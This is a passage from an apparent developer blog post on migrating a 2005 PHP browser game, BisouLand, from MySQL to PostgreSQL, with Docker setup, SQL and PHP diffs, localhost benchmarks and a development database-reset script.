# Then install PHP extensions
#
# _Note (Hadolint)_: No version locking, since Alpine only ever provides one version
# hadolint ignore=DL3018
RUN apk add --update --no-cache \
        apache2 \
        apache2-proxy \
        apache2-ssl \
        bash \
        libzip-dev \
        postgresql-dev \
    &amp;&amp; sed -i 's/^#LoadModule rewrite_module/LoadModule rewrite_module/' /etc/apache2/httpd.conf \
    &amp;&amp; docker-php-ext-install \
        pdo_pgsql

# Copy Composer binary from composer image
# _Note (Hadolint)_: False positive as `COPY` works with images too
# See: https://github.com/hadolint/hadolint/issues/197#issuecomment-1016595425
# hadolint ignore=DL3022
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer

WORKDIR /apps/monolith

# Caching `composer install`, as long as composer.{json,lock} don't change.
COPY composer.json composer.lock ./
RUN composer install \
    --no-cache \
    --no-interaction \
    --no-plugins \
    --no-scripts \
    --optimize-autoloader \
    &amp;&amp; chmod -R o+rX vendor/

# Copy Apache configuration
COPY apache-site.conf /etc/apache2/conf.d/bisouland.conf

# Copy the remaining application files (excluding those listed in .dockerignore)
COPY . .

# Configure Apache proxy modules for PHP-FPM
RUN sed -i 's|^#LoadModule proxy_module|LoadModule proxy_module|' /etc/apache2/httpd.conf \
    &amp;&amp; sed -i 's|^#LoadModule proxy_fcgi_module|LoadModule proxy_fcgi_module|' /etc/apache2/httpd.conf

# Create startup script to run both PHP-FPM and Apache
RUN echo '#!/bin/sh' &gt; /start.sh \
    &amp;&amp; echo 'php-fpm -D' &gt;&gt; /start.sh \
    &amp;&amp; echo 'exec httpd -D FOREGROUND' &gt;&gt; /start.sh \
    &amp;&amp; chmod +x /start.sh

EXPOSE 80

CMD ["/start.sh"]
</code></pre>

<p>Next, we change the image from <code>mysql</code> to <code>postgresql</code> in <code>compose.yaml</code>:</p>

<pre><code class="yaml">name: bisouland-monolith

services:
  web:
    build: .
    ports:
      - "43000:80"
    volumes:
      - .:/apps/monolith
      - vendor:/apps/monolith/vendor
    depends_on:
      - db
    environment:
      DATABASE_HOST: ${DATABASE_HOST}
      DATABASE_PORT: ${DATABASE_PORT}
      DATABASE_USER: ${DATABASE_USER}
      DATABASE_PASSWORD: ${DATABASE_PASSWORD}
      DATABASE_NAME: ${DATABASE_NAME}
    restart: unless-stopped

  db:
    image: postgres:17
    platform: linux/amd64
    environment:
      POSTGRES_PASSWORD: ${DATABASE_PASSWORD}
      POSTGRES_DB: ${DATABASE_NAME}
      POSTGRES_USER: ${DATABASE_USER}
    volumes:
      - postgres_data:/var/lib/postgresql/data
    ports:
      - "127.0.0.1:43001:5432"
    restart: unless-stopped

volumes:
  postgres_data:
  vendor:
</code></pre>

<p>The <code>.env</code> file remains unchanged (we just remove the <code>MYSQL_ROOT_PASSWORD</code> envvar):</p>

<pre><code class="bash"># Database
DATABASE_HOST=db
DATABASE_PORT=5432
DATABASE_USER=bisouland
DATABASE_PASSWORD=bisouland_pass
DATABASE_NAME=bisouland
</code></pre>

<h2 id="sql-syntax">SQL Syntax</h2>

<p>MySQL and PostgreSQL vary in their SQL types and syntax,
so a first pass needs to be done to convert the SQL queries,
following this table:</p>

<table>
<thead>
<tr>
  <th>PostgreSQL</th>
  <th>MySQL</th>
</tr>
</thead>
<tbody>
<tr>
  <td><strong>Data Types</strong></td>
  <td></td>
</tr>
<tr>
  <td><code>SERIAL PRIMARY KEY</code></td>
  <td><code>INT PRIMARY KEY AUTO_INCREMENT</code></td>
</tr>
<tr>
  <td><code>INTEGER</code></td>
  <td><code>INT</code></td>
</tr>
<tr>
  <td><code>SMALLINT</code></td>
  <td><code>TINYINT(1)</code></td>
</tr>
<tr>
  <td><strong>SQL Syntax</strong></td>
  <td></td>
</tr>
<tr>
  <td><code>LIMIT 5 OFFSET 0</code></td>
  <td><code>LIMIT 0, 5</code></td>
</tr>
<tr>
  <td><code>ON CONFLICT (id) DO UPDATE</code></td>
  <td><code>ON DUPLICATE KEY UPDATE</code></td>
</tr>
<tr>
  <td><code>extract(epoch from now())::integer</code></td>
  <td><code>UNIX_TIMESTAMP()</code></td>
</tr>
</tbody>
</table>

<p>For example in <code>evo.php</code>:</p>

<pre><code class="diff">  // On passe à une nouvelle construction si disponible.
- $stmt = $pdo-&gt;prepare('SELECT id, duree, type, cout FROM liste WHERE auteur = :auteur AND classe = :classe ORDER BY id LIMIT 0,1');
+ $stmt = $pdo-&gt;prepare('SELECT id, duree, type, cout FROM liste WHERE auteur = :auteur AND classe = :classe ORDER BY id LIMIT 1 OFFSET 0');
  $stmt-&gt;execute(['auteur' =&gt; $id, 'classe' =&gt; $classeCancel]);
</code></pre>

<p>And in <code>schema.sql</code>:</p>

<pre><code class="diff">  -- Messages table
  -- Field order MUST match INSERT statements in fctIndex.php::AdminMP()
  CREATE TABLE IF NOT EXISTS messages (
-     id INT PRIMARY KEY AUTO_INCREMENT,  -- Auto-increment
-     posteur INT NOT NULL,               -- Matches $source/$expediteur from INSERT
-     destin INT NOT NULL,                -- Matches $cible from INSERT
+     id SERIAL PRIMARY KEY,              -- Auto-increment
+     posteur INTEGER NOT NULL,           -- Matches $source/$expediteur from INSERT
+     destin INTEGER NOT NULL,            -- Matches $cible from INSERT
      message TEXT NOT NULL,              -- Matches $message from INSERT
-     timestamp INT NOT NULL,             -- Matches $timer/time() from INSERT
-     statut TINYINT(1) DEFAULT 0,        -- Matches '0'/$lu from INSERT
+     timestamp INTEGER NOT NULL,         -- Matches $timer/time() from INSERT
+     statut SMALLINT DEFAULT 0,          -- Matches '0'/$lu from INSERT
      titre VARCHAR(100) NOT NULL         -- Matches $titre/$objet from INSERT
  );
</code></pre>

<p>But PostgreSQL is much more interesting than that.</p>

<h2 id="types">Types</h2>

<h3 id="boolean">Boolean</h3>

<p>Some of the MySQL <code>TINYINT</code> actually were boolean, and as it turns out,
PostgreSQL does have a <code>BOOLEAN</code> type:</p>

<pre><code class="diff">  -- Messages table
  -- Field order MUST match INSERT statements in fctIndex.php::AdminMP()
  CREATE TABLE IF NOT EXISTS messages (
      id SERIAL PRIMARY KEY,              -- Auto-increment
      posteur INTEGER NOT NULL,           -- Matches $source/$expediteur from INSERT
      destin INTEGER NOT NULL,            -- Matches $cible from INSERT
      message TEXT NOT NULL,              -- Matches $message from INSERT
      timestamp INTEGER NOT NULL,         -- Matches $timer/time() from INSERT
-     statut SMALLINT DEFAULT 0,          -- Matches '0'/$lu from INSERT
+     statut BOOLEAN DEFAULT FALSE,       -- (FALSE=unread, TRUE=read)
      titre VARCHAR(100) NOT NULL         -- Matches $titre/$objet from INSERT
  );
</code></pre>

<p>Which means we get a PHP <code>bool</code> upon selecting these:</p>

<pre><code class="diff">- &lt;td&gt;&lt;?php if (0 == $donnees['statut']) {
+ &lt;td&gt;&lt;?php if (false === $donnees['statut']) {
      echo '&lt;a class="bulle" style="cursor: default;" onclick="return false;" href=""&gt;&lt;img src="images/newmess.png" alt="Message non lu" title="" /&gt;&lt;span&gt;Message &gt;
  }?&gt;&lt;/td&gt;
</code></pre>

<p>But there is a catch:
when constructing a query, PDO will not convert PHP bool to PostgreSQL BOOLEAN!</p>

<p>We have to do the PHP bool to PHP string conversion ourselves:</p>

<pre><code class="php">&lt;?php

namespace Bl\Infrastructure\Pg;

class CastToPgBoolean
{
    /**
     * PostgreSQL's BOOLEAN fields are strings with for values:
     * - `true`, `t`, `TRUE`
     * - `false`, `f`, `FALSE`
     */
    public function from(bool $value): string
    {
        return $value ? 'TRUE' : 'FALSE';
    }
}
</code></pre>

<p>And do that before calling PDO:</p>

<pre><code class="diff">  $stmt = $pdo-&gt;prepare(
      'INSERT INTO membres (pseudo, mdp, confirmation, timestamp, lastconnect, amour)'
      .' VALUES (:pseudo, :mdp, :confirmation, :timestamp, :lastconnect, :amour)',
  );
- $stmt-&gt;execute(['pseudo' =&gt; $pseudo, 'mdp' =&gt; $hmdp, 'confirmation' =&gt; 1, 'timestamp' =&gt; time(), 'lastconnect' =&gt; time(), 'amour' =&gt; 300]);
+ $stmt-&gt;execute(['pseudo' =&gt; $pseudo, 'mdp' =&gt; $hmdp, 'confirmation' =&gt; $castToPgBoolean-&gt;from(true), 'amour' =&gt; 300]);
</code></pre>

<p>If we are not binding parameters, but instead using plain SQL queries, then we can use <code>TRUE</code> and <code>FALSE</code> as follow:</p>

<pre><code class="diff">  // On supprime les unités.
- $stmt = $pdo-&gt;prepare('UPDATE membres SET smack = :smack, baiser = :baiser, pelle = :pelle, bloque = 0 WHERE id = :id');
+ $stmt = $pdo-&gt;prepare('UPDATE membres SET smack = :smack, baiser = :baiser, pelle = :pelle, bloque = FALSE WHERE id = :id');
  $stmt-&gt;execute(['smack' =&gt; $AttSmack, 'baiser' =&gt; $AttBaiser, 'pelle' =&gt; $AttPelle, 'id' =&gt; $idAuteur]);
</code></pre>

<h3 id="timestamp">Timestamp</h3>

<p>In BisouLand, time and intervals are an essential component of the game:
when blowing a kiss, these kisses will take some time to travel to the target,
and then as much time to come back.</p>

<p>In 2005 eXtreme Legacy fashion, time was handled as a UNIX timestamp,
the number of seconds since January the 1st 1970.</p>

<p>Since PostgreSQL has a <code>TIMESTAMPTZ</code>, which is an actual ISO 8601 date string,
with timezone information, we can take the opportunity to modernise the code:</p>

<pre><code class="diff">  -- Attack log table
  -- Logs completed attacks for rate limiting, INSERT in attaque.php:16, checked in action.php:74
  CREATE TABLE IF NOT EXISTS logatt (
      id SERIAL PRIMARY KEY,              -- Log entry ID
      auteur INTEGER NOT NULL,            -- Attacker user ID, checked for rate limiting
      cible INTEGER NOT NULL,             -- Target user ID
-     timestamp INTEGER NOT NULL          -- Attack completion time, used for 12-hour limit check
+     timestamp TIMESTAMPTZ NOT NULL      -- Attack completion time, used for 12-hour limit check
  );
</code></pre>

<p>We take the opportunity to use PostgreSQL <code>CURRENT_TIMESTAMP</code> function when possible,
and even do INTERVAL calculations:</p>

<pre><code class="diff">- $stmt = $pdo-&gt;prepare('SELECT COUNT(*) AS nb_att FROM logatt WHERE auteur = :auteur AND cible = :cible AND timestamp &gt;= :timestamp');
- $stmt-&gt;execute(['auteur' =&gt; $id, 'cible' =&gt; $cible, 'timestamp' =&gt; time() - 43200]);
+ $stmt = $pdo-&gt;prepare("SELECT COUNT(*) AS nb_att FROM logatt WHERE auteur = :auteur AND cible = :cible AND timestamp &gt;= CURRENT_TIMESTAMP - INTERVAL '12 hours'");
+ $stmt-&gt;execute(['auteur' =&gt; $id, 'cible' =&gt; $cible]);
</code></pre>

<p>I gotta admit, I'm not ready yet to convert all the UNIX timestamp in the code to <code>DateTime</code> objects,
so we'll have to convert them from PHP int to PHP string in ISO 8601 format:</p>

<pre><code class="php">&lt;?php

namespace Bl\Infrastructure\Pg;

class CastToPgTimestamptz
{
    /**
     * PostgreSQL's TIMESTAMPTZ fields are strings in (sort of) ISO 8601 date format:
     * - '2025-11-20T16:45:03.336548+00:00' (fully ISO 8601 compliant)
     * - '2025-11-20 16:45:03+00'
     * - '2025-11-20 16:45:03+00:00'
     * - '2025-11-20 16:45:03.336548+00'
     * - '2025-11-20 16:45:03.336548+00:00'
     */
    public function fromUnixTimestamp(int $unixTimestamp): string
    {
        return new \DateTimeImmutable("@{$unixTimestamp}")-&gt;format('Y-m-d\TH:i:s.uP');
    }
}
</code></pre>

<p>And:</p>

<pre><code class="php">&lt;?php

namespace Bl\Infrastructure\Pg;

class CastToUnixTimestamp
{
    /**
     * PostgreSQL's TIMESTAMPTZ fields are strings in (sort of) ISO 8601 date format:
     * - '2025-11-20T16:45:03.336548+00:00' (fully ISO 8601 compliant)
     * - '2025-11-20 16:45:03+00'
     * - '2025-11-20 16:45:03+00:00'
     * - '2025-11-20 16:45:03.336548+00'
     * - '2025-11-20 16:45:03.336548+00:00'
     */
    public function fromPgTimestamptz(string $timestamptz): int
    {
        return new \DateTimeImmutable($timestamptz)-&gt;getTimestamp();
    }
}
</code></pre>

<p>So when interracting with PDO, we do:</p>

<pre><code class="diff">- $stmt = $pdo-&gt;prepare('INSERT INTO attaque VALUES (:auteur, :cible, :finaller, :finretour, 0)');
- $stmt-&gt;execute(['auteur' =&gt; $id, 'cible' =&gt; $cible, 'finaller' =&gt; time() + $duree, 'finretour' =&gt; time() + 2 * $duree]);
+ $stmt = $pdo-&gt;prepare('INSERT INTO attaque (auteur, cible, finaller, finretour, etat) VALUES (:auteur, :cible, :finaller, :finretour, 0)');
+ $stmt-&gt;execute(['auteur' =&gt; $id, 'cible' =&gt; $cible, 'finaller' =&gt; $castToPgTimestamptz-&gt;fromUnixTimestamp(time() + $duree), 'finretour' =&gt; $castToPgTimestamptz-&gt;fromUnixTimestamp(time() + 2 * $duree)]);
</code></pre>

<h3 id="uuid">UUID</h3>

<p>I love UUIDs. Don't ask me why, I just do.</p>

<p>So it made total sense for me to add something I loved in the love game that is BisouLand:</p>

<pre><code class="diff">  -- Evolution/construction queue
  -- Active construction tasks, INSERT in index.php:427, SELECT/DELETE in index.php:392-409
  CREATE TABLE IF NOT EXISTS evolution (
-     id SERIAL PRIMARY KEY,              -- Task ID for deletion when complete
+     id UUID PRIMARY KEY,                -- Task ID (UUIDv7) for deletion when complete
      timestamp TIMESTAMPTZ NOT NULL,     -- Completion time, checked against time() in index.php:392
      classe INTEGER NOT NULL,            -- Object class/category for construction
      type INTEGER NOT NULL,              -- Specific object type within class
-     auteur INTEGER NOT NULL,            -- User ID who initiated construction, from $id2
+     auteur UUID NOT NULL,               -- User ID (foreign key to membres.id) who initiated construction
      cout BIGINT NOT NULL                -- Cost of the construction task
  );
</code></pre>

<p>I've been using UUID v4 for a while, which are random generated,
but there's a new kid in town: v7, which is still random,
but storable by their creation time as the first 48 bits are a UNIX Epoch timestamp.</p>

<p>Of course, I want the client to generate the UUID, not the database,
and this can be done thanks to the <a href="https://symfony.com/doc/current/components/uid.html">Symfony Uid component</a>:</p>

<pre><code class="diff">+ use Symfony\Uid\Uuid;

  // On indique que l'attaque a eu lieu.
- $stmt = $pdo-&gt;prepare('INSERT INTO logatt VALUES(:auteur, :cible, :timestamp)');
- $stmt-&gt;execute(['auteur' =&gt; $idAuteur, 'cible' =&gt; $idCible, 'timestamp' =&gt; $finaller]);
+ $stmt = $pdo-&gt;prepare('INSERT INTO logatt (id, auteur, cible, timestamp) VALUES(:id, :auteur, :cible, :timestamp)');
+ $stmt-&gt;execute(['id' =&gt; Uuid::v7(), 'auteur' =&gt; $idAuteur, 'cible' =&gt; $idCible, 'timestamp' =&gt; $finaller]);
</code></pre>

<p>Oh but hang on, how did we get a Symfony 8 feature in a 2005 LAMP app you ask?</p>

<p>Well it required some tricks, such as renaming <code>index.php</code> to <code>app.php</code>,
and in <code>index.php</code> create the following front controller:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

require __DIR__.'/../vendor/autoload.php';

try {
    require __DIR__.'/../phpincludes/app.php';
} catch (Throwable $throwable) {
    http_response_code(500);
    error_log($throwable-&gt;getMessage());
    echo 'An error occurred';
}
</code></pre>

<p>With that, we can now use composer to get third party libraries, see the <code>composer.json</code>:</p>

<pre><code class="json">{
    "name": "bl/monolith",
    "description": "The original BisouLand codebase",
    "type": "project",
    "license": "Apache-2.0",
    "require": {
        "php": "&gt;=8.5",
        "ext-curl": "*",
        "symfony/uid": "^8.0@rc"
    },
    "autoload": {
        "psr-4": {
            "Bl\\": "src/"
        },
        "files": [
            "phpincludes/bd.php",
            "phpincludes/cast_to_pg_boolean.php",
            "phpincludes/cast_to_unix_timestamp.php",
            "phpincludes/cast_to_pg_timestamptz.php",
            "phpincludes/fctIndex.php"
        ]
    },
    "config": {
        "bump-after-update": true,
        "sort-packages": true
    }
}
</code></pre>

<h2 id="vanity-benchmark">Vanity Benchmark</h2>

<p>Surely, switching from MySQL to PostgreSQL will bring us massive performance boosts, right? Right??</p>

<p>Let's find out with some vanity benchmarks:</p>

<pre><code class="bash"># Start fresh
cd apps/monolith
make app-init

BENCH_USER="BisouTest_bench"
BENCH_PASS="SuperSecret123"

# Sign up
curl -X POST 'http://localhost:43000/inscription.html' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d "Ipseudo=${BENCH_USER}&amp;Imdp=${BENCH_PASS}&amp;Imdp2=${BENCH_PASS}&amp;inscription=S%27inscrire"

# Log in
BENCH_COOKIE=$(curl -X POST 'http://localhost:43000/redirect.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d "pseudo=${BENCH_USER}&amp;mdp=${BENCH_PASS}&amp;connexion=Se+connecter" \
  -i -s | grep -i 'set-cookie: PHPSESSID' | sed 's/.*PHPSESSID=\([^;]*\).*/\1/' | tr -d '\r')

# Test load homepage (not signed in)
ab -l -q -k -c 50 -n 10000 http://localhost:43000/ \
    | grep -E "Complete requests|Failed requests|Exception|Requests per second|Time per request.*across"

# Test load Brain page (signed in)
ab -l -q -k -c 50 -n 10000 -C "PHPSESSID=$BENCH_COOKIE" http://localhost:43000/cerveau.html \
    | grep -E "Complete requests|Failed requests|Exception|Requests per second|Time per request.*across"
</code></pre>

<p>We execute this before the migration (I've kindly upgraded to MySQL 8),
and after the migration to PostgreSQL.</p>

<p>On my MacBook M4 (with Docker), the results are as follow:</p>

<ul>
<li>Homepage (Visitor - Not Logged In):

<ul>
<li>Requests per second (mean): from <code>1503</code> to <code>100</code></li>
<li>Time per request (ms, mean, across all concurrent requests): from <code>0.665</code> to <code>9.943</code></li>
</ul></li>
<li>Brain Page (Logged In User):

<ul>
<li>Requests per second (mean): from <code>1133</code> to <code>96</code></li>
<li>Time per request (ms, mean, across all concurrent requests): from <code>0.883</code> to <code>10.348</code></li>
</ul></li>
</ul>

<p><strong>🚨 Performance degradation: 90% slower than MySQL 🙀</strong></p>

<p>How is that possible?? My core beliefs are now completly shattered!!!!111oneoneeleven</p>

<p>Unless... Unless we've missed one important configuration step:</p>

<pre><code class="php">&lt;?php

function bd_connect()
{
    static $pdo = null;

    if (null === $pdo) {
        $dsn = 'pgsql:host='.DATABASE_HOST.';port='.DATABASE_PORT.';dbname='.DATABASE_NAME;
        $options = [
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false,
            // Don't forget to set persistent connections!
            PDO::ATTR_PERSISTENT =&gt; true,
        ];
        $pdo = new PDO($dsn, DATABASE_USER, DATABASE_PASSWORD, $options);
    }

    return $pdo;
}
</code></pre>

<p>And indeed, we had forgotten to enable persistent connections.</p>

<p>As it turns out, the overhead of setting a new connection with PostgreSQL is quite consequential.</p>

<p>Let's re-run our tests (we make sure MySQL also gets persistent connection):</p>

<ul>
<li>Homepage (Visitor - Not Logged In):

<ul>
<li>Requests per second (mean): from <code>1683.86</code> to <code>1905.43</code></li>
<li>Time per request (ms, mean, across all concurrent requests): from <code>0.594</code> to <code>0.525</code></li>
</ul></li>
<li>Brain Page (Logged In User):

<ul>
<li>Requests per second (mean): from <code>1309.55</code> to <code>1828.19</code></li>
<li>Time per request (ms, mean, across all concurrent requests): from <code>0.764</code> to <code>0.547</code></li>
</ul></li>
</ul>

<p>Phew, my mid-life crisis is postponed 😌. PostgreSQL <strong>is</strong> after all faster than MySQL:</p>

<ul>
<li>Homepage: +13.1% improvement</li>
<li>Brain Page: +39.6% improvement</li>
</ul>

<p>It's great to see that now on the logged in pages,
we get the same speed as on on the not logged in ones.</p>

<h2 id="database-reset">Database Reset</h2>

<p>With the persistent connection, it's going to be harder to drop the database,
to recreate it. We'll need to first terminate active connections.</p>

<p>Once the database has been dropped, created and the schema loaded,
we also need to restart PostgreSQL to clear the connection pool:</p>

<pre><code class="bash">#!/usr/bin/env bash
# File: /apps/monolith/bin/db-reset.sh
# ──────────────────────────────────────────────────────────────────────────────
# Database reset:
# * drops the database
# * then recreates it
# * and finally loads the schema
#
# Intended for development and testing purposes.
# ──────────────────────────────────────────────────────────────────────────────

_BIN_DIR="$(dirname "$(readlink -f "${BASH_SOURCE[0]:-$0}")")"
_ROOT_DIR="$(realpath "${_BIN_DIR}/..")"
cd "${_ROOT_DIR}"

# ──────────────────────────────────────────────────────────────────────────────
# Loading database config through environment variables.
# `set -a` enables exportation of env vars, while `set +a` disables it.
# Passing PostgreSQL password via command line arguments is insecure,
# so using `PGPASSWORD` instead.
# ──────────────────────────────────────────────────────────────────────────────
set -a; source .env; set +a

export PGPASSWORD="${DATABASE_PASSWORD}"

# ──────────────────────────────────────────────────────────────────────────────
# Reset the database, through Docker containers.
# ──────────────────────────────────────────────────────────────────────────────
echo '  // 🔌 Terminating active connections...'
echo ''
docker compose exec -e PGPASSWORD db psql \
    -U ${DATABASE_USER} \
    -d postgres \
    -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname = '${DATABASE_NAME}' AND pid &lt;&gt; pg_backend_pid();" \
    &gt; /dev/null 2&gt;&amp;1

echo '  // 🗑️ Dropping database...'
echo ''
docker compose exec -e PGPASSWORD db psql \
    -U ${DATABASE_USER} \
    -d postgres \
    -c "DROP DATABASE IF EXISTS ${DATABASE_NAME};" \
    &gt; /dev/null 2&gt;&amp;1

echo '  // 🆕 Creating database...'
echo ''
docker compose exec -e PGPASSWORD db psql \
    -U ${DATABASE_USER} \
    -d postgres \
    -c "CREATE DATABASE ${DATABASE_NAME};" \
    &gt; /dev/null 2&gt;&amp;1

echo '  // 📋 Loading schema.sql...'
echo ''
docker compose exec -T -e PGPASSWORD db psql \
    -U ${DATABASE_USER} \
    -d ${DATABASE_NAME} \
    &gt; /dev/null 2&gt;&amp;1 \
    &lt; schema.sql

echo '  // 🔄 Restarting web container to clear connection pool...'
echo ''
docker compose restart web &gt; /dev/null 2&gt;&amp;1

echo '  [OK] Database reset'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>There are actually some other types I've taken advantage of,
like INET and ENUM. But there's not much to say about those apart from
"look, I've replaced <code>attaque.etat SMALLINT (0,1,2)</code> with
<code>attack_state ENUM ('going_to_target', 'coming_back', 'cancelled')</code>":</p>

<pre><code class="diff">+ -- Blown kiss state ENUM type
+ CREATE TYPE blown_kiss_state AS ENUM ('EnRoute', 'ComingBack', 'CalledOff');

  -- Attack table
  -- Active attacks in progress, managed throughout attaque.php and action.php
  CREATE TABLE IF NOT EXISTS attaque (
      auteur UUID NOT NULL,               -- Attacker user ID (foreign key to membres.id), set bloque=1 during attack
      cible UUID NOT NULL,                -- Target user ID (foreign key to membres.id)
      finaller TIMESTAMPTZ NOT NULL,      -- Attack arrival timestamp (when units reach target)
      finretour TIMESTAMPTZ NOT NULL,     -- Return timestamp (when units return home)
-     etat SMALLINT NOT NULL DEFAULT 0,   -- Attack state: 0=going_to_target, 1=coming_back, 2=cancelled
+     state blown_kiss_state NOT NULL DEFAULT 'EnRoute',  -- Blown kiss state ENUM
      butin BIGINT DEFAULT 0              -- Loot gained from attack, set after battle
  );
</code></pre>

<p>I've taken the ENUM opportunity to also introduce a PHP enum:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace Bl\Domain\KissBlowing;

/**
 * Blown kiss state enum matching PostgreSQL blown_kiss_state type.
 *
 * Represents the three possible states of a blown kiss mission:
 * - EnRoute: Kiss units are traveling to the target
 * - ComingBack: Mission completed, units returning with loot
 * - CalledOff: Mission was cancelled by the player
 */
enum BlownKissState: string
{
    case EnRoute = 'EnRoute';
    case ComingBack = 'ComingBack';
    case CalledOff = 'CalledOff';
}
</code></pre>

<p>Which made some conditions easier to understand:</p>

<pre><code class="diff">  // // On récupère les infos sur le joueur que l'on attaque.
- $stmt = $pdo-&gt;prepare('SELECT cible, finaller, finretour, butin, etat FROM attaque WHERE auteur = :auteur');
+ $stmt = $pdo-&gt;prepare('SELECT cible, finaller, finretour, butin, state FROM attaque WHERE auteur = :auteur');
  $stmt-&gt;execute(['auteur' =&gt; $id]);

  if ($donnees_info = $stmt-&gt;fetch()) {
      $stmt2 = $pdo-&gt;prepare('SELECT pseudo, nuage, position FROM membres WHERE id = :id');
      $stmt2-&gt;execute(['id' =&gt; $donnees_info['cible']]);
      $donnees_info2 = $stmt2-&gt;fetch();
      $pseudoCible = $donnees_info2['pseudo'];
      $nuageCible = $donnees_info2['nuage'];
      $positionCible = $donnees_info2['position'];
      $finAll = $castToUnixTimestamp-&gt;fromPgTimestamptz($donnees_info['finaller']);
      $finRet = $castToUnixTimestamp-&gt;fromPgTimestamptz($donnees_info['finretour']);
      $butinPris = $donnees_info['butin'];
-     $etat = $donnees_info['etat'];
+     $state = BlownKissState::from($donnees_info['state']);

-     if (isset($_POST['cancelAttaque']) &amp;&amp; 0 === $etat) {  
+     if (isset($_POST['cancelAttaque']) &amp;&amp; BlownKissState::EnRoute === $state) {
          $finRet = (2 * time() + $finRet - 2 * $finAll);
          $stmt3 = $pdo-&gt;prepare("UPDATE attaque SET state = 'CalledOff', finretour = :finretour WHERE auteur = :auteur");
          $stmt3-&gt;execute(['finretour' =&gt; $castToPgTimestamptz-&gt;fromUnixTimestamp($finRet), 'auteur' =&gt; $id]);
          AdminMP($donnees_info['cible'], 'Attaque annulée', "{$pseudo} a annulé son attaque.
                          Tu n'es plus en danger.");
-         $etat = 2; // Update local variable to reflect the change
+         $state = BlownKissState::CalledOff; // Update local variable to reflect the change
      }

-     if (0 === $etat) {  
+     if (BlownKissState::EnRoute === $state) {
  ?&gt;
  Tu vas tenter d'embrasser &lt;strong&gt;&lt;?php echo $pseudoCible; ?&gt;&lt;/strong&gt; sur le nuage &lt;strong&gt;&lt;?php echo $nuageCible; ?&gt;&lt;/strong&gt;
</code></pre>

<p>So yeah. There it is.</p>

<p>The eXtreme Legacy (2005 LAMP) app is now migrated from MySQL to PostgreSQL.</p>

<p>It takes advantages of the native PostgreSQL types, such as BOOLEAN, ENUM, INET,
TIMESTAMPTZ and UUID, as well as getting a 13% performance boost in the process.</p>

<p>I guess it's time to stop calling it a LAMP app (how about a LAPP app?).</p>

<blockquote>
  <p>⁉️ What do you mean, "there's a big security vulnerability"?</p>
</blockquote>

<h2 id="bonus-improvements">Bonus Improvements</h2>

<p>Still not convinced PostgreSQL is the superior database? Let me change your mind.</p>

<p>FYI, this is after doing the vanity benchmarks, so expect further speed gains.</p>

<h3 id="filter%3A-one-query%2C-multiple-count">FILTER: One query, multiple COUNT</h3>

<p>BisouLand has a Statistics page proudly displaying how many players it has:</p>

<pre><code class="php">$retour = $pdo-&gt;query('SELECT SUM( amour ) AS nb FROM membres WHERE confirmation = TRUE');
$pointsAmourTotal = $retour-&gt;fetchColumn();
$retour = $pdo-&gt;query("SELECT COUNT(*) AS nb FROM membres WHERE confirmation=TRUE AND lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '5 minutes'");
$connectCinq = $retour-&gt;fetchColumn();
$retour = $pdo-&gt;query("SELECT COUNT(*) AS nb FROM membres WHERE confirmation=TRUE AND lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '1 hour'");
$connectHeure = $retour-&gt;fetchColumn();
$retour = $pdo-&gt;query("SELECT COUNT(*) AS nb FROM membres WHERE confirmation=TRUE AND lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '12 hours'");
$connectMid = $retour-&gt;fetchColumn();
$retour = $pdo-&gt;query("SELECT COUNT(*) AS nb FROM membres WHERE confirmation=TRUE AND lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '24 hours'");
$connectJour = $retour-&gt;fetchColumn();
$retour = $pdo-&gt;query("SELECT COUNT(*) AS nb FROM membres WHERE confirmation=TRUE AND lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '48 hours'");
$connect2Jour = $retour-&gt;fetchColumn();
$retour = $pdo-&gt;query("SELECT COUNT(*) AS nb FROM membres WHERE confirmation=TRUE AND lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '7 days'");
$connectSemaine = $retour-&gt;fetchColumn();
$retour = $pdo-&gt;query("SELECT COUNT(*) AS nb FROM membres WHERE confirmation=TRUE AND lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '30 days'");
$connectMois = $retour-&gt;fetchColumn();
$retour = $pdo-&gt;query("SELECT COUNT(*) AS nb FROM membres WHERE confirmation=TRUE AND lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '1 year'");
$connectAn = $retour-&gt;fetchColumn();
</code></pre>

<p>We see 9 separate queries. Turns out PostgreSQL can merge them into a single query,
with <code>FILTER</code>:</p>

<pre><code class="php">$stmt = $pdo-&gt;query(&lt;&lt;&lt;'SQL'
    SELECT
        SUM(amour) AS total_love_points,
        COUNT(*) FILTER (WHERE lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '5 minutes') AS last_5_min,
        COUNT(*) FILTER (WHERE lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '1 hour') AS last_hour,
        COUNT(*) FILTER (WHERE lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '12 hours') AS last_12h,
        COUNT(*) FILTER (WHERE lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '24 hours') AS last_24h,
        COUNT(*) FILTER (WHERE lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '48 hours') AS last_48h,
        COUNT(*) FILTER (WHERE lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '7 days') AS last_week,
        COUNT(*) FILTER (WHERE lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '30 days') AS last_month,
        COUNT(*) FILTER (WHERE lastconnect &gt;= CURRENT_TIMESTAMP - INTERVAL '1 year') AS last_year
    FROM membres
    WHERE confirmation = TRUE
SQL);
/**
 * @var array{
 *     total_love_points: int|null,
 *     last_5_min: int,
 *     last_hour: int,
 *     last_12h: int,
 *     last_24h: int,
 *     last_48h: int,
 *     last_week: int,
